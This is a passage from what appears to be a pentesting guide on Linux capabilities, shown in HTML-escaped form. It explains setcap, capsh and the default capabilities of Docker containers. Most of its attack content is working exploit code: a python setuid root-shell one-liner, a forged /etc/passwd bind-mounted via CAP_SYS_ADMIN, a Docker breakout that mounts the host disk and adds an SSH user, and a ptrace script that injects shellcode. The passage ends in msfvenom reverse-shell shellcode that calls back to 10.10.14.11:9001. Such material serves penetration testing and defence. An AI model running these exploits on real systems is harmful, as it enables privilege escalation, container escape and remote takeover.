&lt;p&gt;If we drop the CAP_NET_RAW capabilities for &lt;em&gt;ping&lt;&#x2F;em&gt;, then the ping utility should no longer work.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;capsh --drop=cap_net_raw --print -- -c &amp;quot;tcpdump&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Besides the output of &lt;em&gt;capsh&lt;&#x2F;em&gt; itself, the &lt;em&gt;tcpdump&lt;&#x2F;em&gt; command itself should also raise an error.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&#x2F;bin&#x2F;bash: &#x2F;usr&#x2F;sbin&#x2F;tcpdump: Operation not permitted&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;remove-capabilities&quot;&gt;Remove Capabilities&lt;&#x2F;h3&gt;
&lt;p&gt;You can remove capabilities of a binary with&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;setcap -r &amp;lt;&amp;#x2F;path&amp;#x2F;to&amp;#x2F;binary&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;user-capabilities&quot;&gt;User Capabilities&lt;&#x2F;h2&gt;
&lt;p&gt;Apparently &lt;strong&gt;it&#x27;s possible to assign capabilities also to users&lt;&#x2F;strong&gt;. This probably means that every process executed by the user will be able to use the users capabilities. Base on on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;unix.stackexchange.com&#x2F;questions&#x2F;454708&#x2F;how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7&quot;&gt;this&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;manpages.ubuntu.com&#x2F;manpages&#x2F;bionic&#x2F;man5&#x2F;capability.conf.5.html&quot;&gt;this &lt;&#x2F;a&gt;and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;1956732&#x2F;is-it-possible-to-configure-linux-capabilities-per-user&quot;&gt;this &lt;&#x2F;a&gt;a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be &lt;code&gt;&#x2F;etc&#x2F;security&#x2F;capability.conf&lt;&#x2F;code&gt;. File example:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;environment-capabilities&quot;&gt;Environment Capabilities&lt;&#x2F;h2&gt;
&lt;p&gt;Compiling the following program it&#x27;s possible to &lt;strong&gt;spawn a bash shell inside an environment that provides capabilities&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;ambient.c&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;*
 * Test program for the ambient capabilities
 *
 * compile using:
 * gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
 * Set effective, inherited and permitted capabilities to the compiled binary
 * sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
 *
 * To get a shell with additional caps that can be inherited do:
 *
 * .&amp;#x2F;ambient &amp;#x2F;bin&amp;#x2F;bash
 *&amp;#x2F;

#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;errno.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;prctl.h&amp;gt;
#include &amp;lt;linux&amp;#x2F;capability.h&amp;gt;
#include &amp;lt;cap-ng.h&amp;gt;

static void set_ambient_cap(int cap) {
  int rc;
  capng_get_caps_process();
  rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
  if (rc) {
    printf(&amp;quot;Cannot add inheritable cap\n&amp;quot;);
    exit(2);
  }
  capng_apply(CAPNG_SELECT_CAPS);
  &amp;#x2F;* Note the two 0s at the end. Kernel checks for these *&amp;#x2F;
  if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
    perror(&amp;quot;Cannot set cap&amp;quot;);
    exit(1);
  }
}
void usage(const char * me) {
  printf(&amp;quot;Usage: %s [-c caps] new-program new-args\n&amp;quot;, me);
  exit(1);
}
int default_caplist[] = {
  CAP_NET_RAW,
  CAP_NET_ADMIN,
  CAP_SYS_NICE,
  -1
};
int * get_caplist(const char * arg) {
  int i = 1;
  int * list = NULL;
  char * dup = strdup(arg), * tok;
  for (tok = strtok(dup, &amp;quot;,&amp;quot;); tok; tok = strtok(NULL, &amp;quot;,&amp;quot;)) {
    list = realloc(list, (i + 1) * sizeof(int));
    if (!list) {
      perror(&amp;quot;out of memory&amp;quot;);
      exit(1);
    }
    list[i - 1] = atoi(tok);
    list[i] = -1;
    i++;
  }
  return list;
}
int main(int argc, char ** argv) {
  int rc, i, gotcaps = 0;
  int * caplist = NULL;
  int index = 1; &amp;#x2F;&amp;#x2F; argv index for cmd to start
  if (argc &amp;lt; 2)
    usage(argv[0]);
  if (strcmp(argv[1], &amp;quot;-c&amp;quot;) == 0) {
    if (argc &amp;lt;= 3) {
      usage(argv[0]);
    }
    caplist = get_caplist(argv[2]);
    index = 3;
  }
  if (!caplist) {
    caplist = (int * ) default_caplist;
  }
  for (i = 0; caplist[i] != -1; i++) {
    printf(&amp;quot;adding %d to ambient list\n&amp;quot;, caplist[i]);
    set_ambient_cap(caplist[i]);
  }
  printf(&amp;quot;Ambient forking shell\n&amp;quot;);
  if (execv(argv[index], argv + index))
    perror(&amp;quot;Cannot exec&amp;quot;);
  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
.&amp;#x2F;ambient &amp;#x2F;bin&amp;#x2F;bash
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Inside the &lt;strong&gt;bash executed by the compiled ambient binary&lt;&#x2F;strong&gt; it&#x27;s possible to observe the&lt;strong&gt;new capabilities&lt;&#x2F;strong&gt; (a regular user won&#x27;t have any capability in the &quot;current&quot; section).&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can &lt;strong&gt;only add capabilities that are present&lt;&#x2F;strong&gt; in both the permitted and the inheritable sets.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;capability-aware-capability-dumb-binaries&quot;&gt;Capability-aware&#x2F;Capability-dumb binaries&lt;&#x2F;h3&gt;
&lt;p&gt;The &lt;strong&gt;capability-aware binaries won&#x27;t use the new capabilities&lt;&#x2F;strong&gt; given by the environment, however the&lt;strong&gt;capability dumb binaries will us&lt;&#x2F;strong&gt;e them as they won&#x27;t reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;service-capabilities&quot;&gt;Service Capabilities&lt;&#x2F;h2&gt;
&lt;p&gt;By default a &lt;strong&gt;service running as root will have assigned all the capabilities&lt;&#x2F;strong&gt;, and in some occasions this may be dangerous. Therefore, a&lt;strong&gt;service configuration&lt;&#x2F;strong&gt; file allows to&lt;strong&gt;specify&lt;&#x2F;strong&gt; the&lt;strong&gt;capabilities&lt;&#x2F;strong&gt; you want it to have,&lt;strong&gt;and&lt;&#x2F;strong&gt; the&lt;strong&gt;user&lt;&#x2F;strong&gt; that should execute the service to avoid running a service with unnecessary privileges:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;capabilities-in-docker-containers&quot;&gt;Capabilities in Docker Containers&lt;&#x2F;h2&gt;
&lt;p&gt;By default Docker assigns a few capabilities to the containers. It&#x27;s very easy to check which capabilities are these by running:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;docker run --rm -it  r.j3ss.co&amp;#x2F;amicontained bash
Capabilities:
	BOUNDING -&amp;gt; chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co&amp;#x2F;amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co&amp;#x2F;amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co&amp;#x2F;amicontained bash
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rootedcon.com&#x2F;&quot;&gt;RootedCON&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; is the most relevant cybersecurity event in&lt;strong&gt;Spain&lt;&#x2F;strong&gt; and one of the most important in&lt;strong&gt;Europe&lt;&#x2F;strong&gt;. With&lt;strong&gt;the mission of promoting technical knowledge&lt;&#x2F;strong&gt;, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;privesc-container-escape&quot;&gt;Privesc&#x2F;Container Escape&lt;&#x2F;h2&gt;
&lt;p&gt;Capabilities are useful when you &lt;strong&gt;want to restrict your own processes after performing privileged operations&lt;&#x2F;strong&gt; (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root.&lt;&#x2F;p&gt;
&lt;p&gt;You can force capabilities upon programs using &lt;code&gt;setcap&lt;&#x2F;code&gt;, and query these using &lt;code&gt;getcap&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#Set Capability
setcap cap_net_raw+ep &amp;#x2F;sbin&amp;#x2F;ping

#Get Capability
getcap &amp;#x2F;sbin&amp;#x2F;ping
&amp;#x2F;sbin&amp;#x2F;ping = cap_net_raw+ep
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;+ep&lt;&#x2F;code&gt; means you’re adding the capability (“-” would remove it) as Effective and Permitted.&lt;&#x2F;p&gt;
&lt;p&gt;To identify programs in a system or folder with capabilities:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;getcap -r &amp;#x2F; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;exploitation-example&quot;&gt;Exploitation example&lt;&#x2F;h3&gt;
&lt;p&gt;In the following example the binary &lt;code&gt;&#x2F;usr&#x2F;bin&#x2F;python2.6&lt;&#x2F;code&gt; is found vulnerable to privesc:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;setcap cap_setuid+ep &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python2.7
&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python2.7 = cap_setuid+ep

#Exploit
&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python2.7 -c &amp;#x27;import os; os.setuid(0); os.system(&amp;quot;&amp;#x2F;bin&amp;#x2F;bash&amp;quot;);&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Capabilities&lt;&#x2F;strong&gt; needed by &lt;code&gt;tcpdump&lt;&#x2F;code&gt; to&lt;strong&gt;allow any user to sniff packets&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;setcap cap_net_raw,cap_net_admin=eip &amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;tcpdump
getcap &amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;tcpdump
&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;tcpdump = cap_net_admin,cap_net_raw+eip
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;the-special-case-of-empty-capabilities&quot;&gt;The special case of &quot;empty&quot; capabilities&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man7&#x2F;capabilities.7.html&quot;&gt;From the docs&lt;&#x2F;a&gt;: Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;is not owned by root&lt;&#x2F;li&gt;
&lt;li&gt;has no &lt;code&gt;SUID&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;SGID&lt;&#x2F;code&gt; bits set&lt;&#x2F;li&gt;
&lt;li&gt;has empty capabilities set (e.g.: &lt;code&gt;getcap myelf&lt;&#x2F;code&gt; returns &lt;code&gt;myelf =ep&lt;&#x2F;code&gt;)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;then &lt;strong&gt;that binary will run as root&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cap-sys-admin&quot;&gt;CAP_SYS_ADMIN&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man7&#x2F;capabilities.7.html&quot;&gt;&lt;code&gt;&amp;amp;lt;strong class\=&amp;amp;quot;font-bold&amp;amp;quot;&amp;amp;gt;CAP\_SYS\_ADMIN&amp;amp;lt;&#x2F;strong&amp;amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; is a highly potent Linux capability, often equated to a near-root level due to its extensive &lt;strong&gt;administrative privileges&lt;&#x2F;strong&gt;, such as mounting devices or manipulating kernel features. While indispensable for containers simulating entire systems, &lt;code&gt;CAP_SYS_ADMIN&lt;&#x2F;code&gt;&lt;strong&gt;poses significant security challenges&lt;&#x2F;strong&gt;, especially in containerized environments, due to its potential for privilege escalation and system compromise. Therefore, its usage warrants stringent security assessments and cautious management, with a strong preference for dropping this capability in application-specific containers to adhere to the&lt;strong&gt;principle of least privilege&lt;&#x2F;strong&gt; and minimize the attack surface.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with binary&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;getcap -r &amp;#x2F; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python2.7 = cap_sys_admin+ep
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Using python you can mount a modified &lt;em&gt;passwd&lt;&#x2F;em&gt; file on top of the real &lt;em&gt;passwd&lt;&#x2F;em&gt; file:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cp &amp;#x2F;etc&amp;#x2F;passwd .&amp;#x2F; #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of &amp;quot;password&amp;quot;
vim .&amp;#x2F;passwd #Change roots passwords of the fake passwd file
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And finally &lt;strong&gt;mount&lt;&#x2F;strong&gt; the modified &lt;code&gt;passwd&lt;&#x2F;code&gt; file on &lt;code&gt;&#x2F;etc&#x2F;passwd&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;from ctypes import *
libc = CDLL(&amp;quot;libc.so.6&amp;quot;)
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b&amp;quot;&amp;#x2F;path&amp;#x2F;to&amp;#x2F;fake&amp;#x2F;passwd&amp;quot;
target = b&amp;quot;&amp;#x2F;etc&amp;#x2F;passwd&amp;quot;
filesystemtype = b&amp;quot;none&amp;quot;
options = b&amp;quot;rw&amp;quot;
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And you will be able to &lt;code&gt;su&lt;&#x2F;code&gt; &lt;strong&gt;as root&lt;&#x2F;strong&gt; using password &quot;password&quot;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with environment (Docker breakout)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;You can check the enabled capabilities inside the docker container using:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00&amp;#x2F;0x0&amp;#x2F;1&amp;#x27;b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Inside the previous output you can see that the SYS_ADMIN capability is enabled.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mount&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;This allows the docker container to &lt;strong&gt;mount the host disk and access it freely&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fdisk -l #Get disk name
Disk &amp;#x2F;dev&amp;#x2F;sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical&amp;#x2F;physical): 512 bytes &amp;#x2F; 512 bytes
I&amp;#x2F;O size (minimum&amp;#x2F;optimal): 512 bytes &amp;#x2F; 512 bytes

mount &amp;#x2F;dev&amp;#x2F;sda &amp;#x2F;mnt&amp;#x2F; #Mount it
cd &amp;#x2F;mnt
chroot .&amp;#x2F; bash #You have a shell inside the docker hosts disk
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Full access&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;In the previous method we managed to access the docker host disk. In case you find that the host is running an &lt;strong&gt;ssh&lt;&#x2F;strong&gt; server, you could&lt;strong&gt;create a user inside the docker host&lt;&#x2F;strong&gt; disk and access it via SSH:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount &amp;#x2F;dev&amp;#x2F;sda &amp;#x2F;mnt&amp;#x2F;

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot &amp;#x2F;mnt&amp;#x2F; adduser john
ssh john@172.17.0.1 -p 2222
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cap-sys-ptrace&quot;&gt;CAP_SYS_PTRACE&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;This means that you can escape the container by injecting a shellcode inside some process running inside the host.&lt;&#x2F;strong&gt;  To access processes running inside the host the container needs to be run at least with &lt;code&gt;--pid=host&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man7&#x2F;capabilities.7.html&quot;&gt;&lt;code&gt;&amp;amp;lt;strong class\=&amp;amp;quot;font-bold&amp;amp;quot;&amp;amp;gt;CAP\_SYS\_PTRACE&amp;amp;lt;&#x2F;strong&amp;amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; grants the ability to use debugging and system call tracing functionalities provided by &lt;code&gt;ptrace(2)&lt;&#x2F;code&gt; and cross-memory attach calls like &lt;code&gt;process_vm_readv(2)&lt;&#x2F;code&gt; and &lt;code&gt;process_vm_writev(2)&lt;&#x2F;code&gt;. Although powerful for diagnostic and monitoring purposes, if &lt;code&gt;CAP_SYS_PTRACE&lt;&#x2F;code&gt; is enabled without restrictive measures like a seccomp filter on &lt;code&gt;ptrace(2)&lt;&#x2F;code&gt;, it can significantly undermine system security. Specifically, it can be exploited to circumvent other security restrictions, notably those imposed by seccomp, as demonstrated by &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;thejh&#x2F;8346f47e359adecd1d53&quot;&gt;proofs of concept (PoC) like this one&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with binary (python)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;getcap -r &amp;#x2F; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python2.7 = cap_sys_ptrace+ep
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;import ctypes
import sys
import struct
# Macros defined in &amp;lt;sys&amp;#x2F;ptrace.h&amp;gt;
# https:&amp;#x2F;&amp;#x2F;code.woboq.org&amp;#x2F;qt5&amp;#x2F;include&amp;#x2F;sys&amp;#x2F;ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in &amp;lt;sys&amp;#x2F;user.h&amp;gt;
# https:&amp;#x2F;&amp;#x2F;code.woboq.org&amp;#x2F;qt5&amp;#x2F;include&amp;#x2F;sys&amp;#x2F;user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
    _fields_ = [
        (&amp;quot;r15&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;r14&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;r13&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;r12&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;rbp&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;rbx&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;r11&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;r10&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;r9&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;r8&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;rax&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;rcx&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;rdx&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;rsi&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;rdi&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;orig_rax&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;rip&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;cs&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;eflags&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;rsp&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;ss&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;fs_base&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;gs_base&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;ds&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;es&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;fs&amp;quot;, ctypes.c_ulonglong),
        (&amp;quot;gs&amp;quot;, ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL(&amp;quot;libc.so.6&amp;quot;)

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print(&amp;quot;Instruction Pointer: &amp;quot; + hex(registers.rip))
print(&amp;quot;Injecting Shellcode at: &amp;quot; + hex(registers.rip))

# Shell code copied from exploit db. https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;0x00pf&amp;#x2F;0x00sec_code&amp;#x2F;blob&amp;#x2F;master&amp;#x2F;mem_inject&amp;#x2F;infect.c
shellcode = &amp;quot;\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05&amp;quot;

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
    # Convert the byte to little endian.
    shellcode_byte_int=int(shellcode[i:4+i].encode(&amp;#x27;hex&amp;#x27;),16)
    shellcode_byte_little_endian=struct.pack(&amp;quot;&amp;lt;I&amp;quot;, shellcode_byte_int).rstrip(&amp;#x27;\x00&amp;#x27;).encode(&amp;#x27;hex&amp;#x27;)
    shellcode_byte=int(shellcode_byte_little_endian,16)

    # Inject the byte.
    libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print(&amp;quot;Shellcode Injected!!&amp;quot;)

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print(&amp;quot;Final Instruction Pointer: &amp;quot; + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Example with binary (gdb)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;gdb&lt;&#x2F;code&gt; with &lt;code&gt;ptrace&lt;&#x2F;code&gt; capability:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;gdb = cap_sys_ptrace+ep
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Create a shellcode with msfvenom to inject in memory via gdb&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# msfvenom -p linux&amp;#x2F;x64&amp;#x2F;shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf =  b&amp;quot;&amp;quot;
buf += b&amp;quot;\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05&amp;quot;
buf += b&amp;quot;\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b&amp;quot;
buf += b&amp;quot;\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05&amp;quot;
buf += b&amp;quot;\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75&amp;quot;
buf += b&amp;quot;\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f&amp;quot;
buf += b&amp;quot;\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6&amp;quot;
buf += b&amp;quot;\x0f\x05&amp;quot;

# Divisible by 8
